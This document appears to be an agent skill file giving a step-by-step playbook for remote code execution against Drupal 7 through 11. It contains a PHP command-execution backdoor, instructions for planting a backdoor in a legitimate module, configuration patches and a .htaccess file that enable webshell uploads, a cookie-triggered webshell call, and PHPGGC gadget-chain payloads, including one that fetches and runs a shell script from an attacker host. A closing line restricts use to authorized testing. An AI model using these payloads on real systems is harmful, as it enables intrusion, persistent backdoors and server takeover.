Drupal RCE Exploitation

A comprehensive skill for exploiting Drupal vulnerabilities to achieve remote code execution. This skill covers multiple attack vectors across different Drupal versions.

When to Use This Skill

Use this skill when:

• Testing Drupal applications for security vulnerabilities
• Attempting RCE against Drupal 7, 8, 10, or 11
• Working with PHP Filter module exploitation
• Leveraging configuration synchronization features
• Exploiting unsafe deserialization in contrib modules
• Using Drupal core gadget chains (SA-CORE-2024-007/008)

Prerequisites

• Target Drupal installation accessible via HTTP/HTTPS
• For some techniques: authenticated admin access
• PHPGGC tool for gadget chain payloads (optional but recommended)
• Basic understanding of Drupal architecture

Exploitation Techniques

1. PHP Filter Module (Drupal < 8)

The PHP Filter module allows embedded PHP code execution. In Drupal 8+, it's not installed by default.

Detection:

# Check if PHP filter module is installed
curl -I http://target/modules/php
# 403 response indicates the module exists

Exploitation Steps:

1. Navigate to

   /admin/modules

   and enable

   PHP Filter

   module
2. Go to

   Add content

   →

   Basic Page

   or

   Article

3. Insert PHP backdoor code
4. Set Text format to

   PHP code

5. Preview and save
6. Trigger by accessing the node:

   curl http://target/node/3

Backdoor Example:

<?php
if (isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>

2. Install PHP Filter Module (Drupal 8+)

For Drupal 8+, manually install the PHP Filter module:

1. Download:

   wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

2. Navigate to

   Administration

   →

   Reports

   →

   Available updates

3. Click

   Browse

   , select the downloaded file, and click

   Install

4. Create a new page with PHP code format enabled

3. Backdoored Module Technique

Download a legitimate module, inject a backdoor, and install it:

1. Download a module (e.g., Turnstile) in compressed format
2. Add a PHP backdoor file inside the module
3. Create

   .htaccess

   to enable PHP execution:

   <IfModule mod_rewrite.c>
     RewriteEngine On
     RewriteBase /
   </IfModule>
   

4. Install via

   /admin/modules/install

5. Access:

   /modules/turnstile/back.php

4. Configuration Synchronization Exploitation

This technique leverages Media and Media Library modules with configuration sync.

Step 1: Activate Required Modules

• Navigate to

  /admin/modules

• Enable

  Media

  and

  Media Library

  modules

Step 2: Patch Configuration Files

Export configuration from

/admin/config/development/configuration/single/export

and modify:

system.file.yml:

allow_insecure_uploads: true

field.field.media.document.field_media_document.yml:

file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

Import the patched configuration via

/admin/config/development/configuration/single/import

Step 3: Upload Webshell

1. Upload

   .htaccess

   file via

   /media/add/document

   :

   <Files *>
     SetHandler application/x-httpd-php
   </Files>
   <IfModule mod_php.c>
     php_flag engine on
   </IfModule>
   <IfModule mod_php7.c>
     php_flag engine on
   </IfModule>
   <IfModule mod_php5.c>
     php_flag engine on
   </IfModule>
   

2. Upload

   LICENSE.txt

   with embedded PHP webshell (see

   scripts/create_webshell.py

   )

Step 4: Interact with Webshell

Access the uploaded file with the cookie parameter:

curl -c cookie.txt -b "89e127753a890d9c4099c872704a0711bbafbce9=phpinfo();" http://target/sites/default/files/LICENSE.txt

5. Drupal Core Gadget Chain (SA-CORE-2024-007/008)

Affected Versions:

• Drupal 7.0–7.101
• Drupal 8.x
• Drupal 10.2.0–10.2.10
• Drupal 10.3.0–10.3.8
• Early 11.x

Patched in: 10.2.11 / 10.3.9 / 7.102

Exploitation Workflow:

1. Find unserialize sink in contrib modules or custom code:

   grep -r "unserialize(" /path/to/drupal
   grep -r "Drupal\\Component\\Serialization\\PhpSerialize::decode" /path/to/drupal
   

2. Generate payload using PHPGGC:

   ./phpggc drupal/rce2 system 'id' > payload.ser
   

3. Deliver payload to the sink:

   curl -X POST https://target/admin/config/some/module \
        -d "serialized_setting=$(cat payload.ser)"
   

4. Trigger execution (often automatic at end of request)

Vulnerable Contrib Modules (Late 2024):

• Mailjet (<4.0.1, CVE-2024-13296)
• Eloqua (7.x-1.x < 1.15, CVE-2024-13297)

Example Exploitation:

phpggc drupal/rce2 system 'bash -c "curl http://attacker/shell.sh|sh"' > p.ser
curl -b session=ADMINCOOKIE \
     -F "import=@p.ser" https://target/admin/config/eloqua/import

Helper Scripts

Use the bundled scripts for common tasks:

• scripts/generate_gadget_payload.py

  - Generate PHPGGC payloads for Drupal gadget chains

• scripts/create_webshell.py

  - Create LICENSE.txt webshell with cookie-based command execution

• scripts/create_htaccess.py

  - Generate .htaccess file for PHP execution

Version Detection

Check Drupal version before attempting exploitation:

# Check core file
curl http://target/core/lib/Drupal.php

# Check changelog
curl http://target/CHANGELOG.txt

# Check robots.txt for version hints
curl http://target/robots.txt

Safety Notes

• Only use these techniques on systems you own or have explicit authorization to test
• Some techniques require authenticated admin access
• Configuration synchronization exploitation may be blocked by proper file system permissions
• Gadget chains require finding an unserialize sink in the target application

References

• Drupal core – gadget chain – SA-CORE-2024-008
• Mailjet module – arbitrary PHP code execution – SA-CONTRIB-2024-062
• PHP Filter Module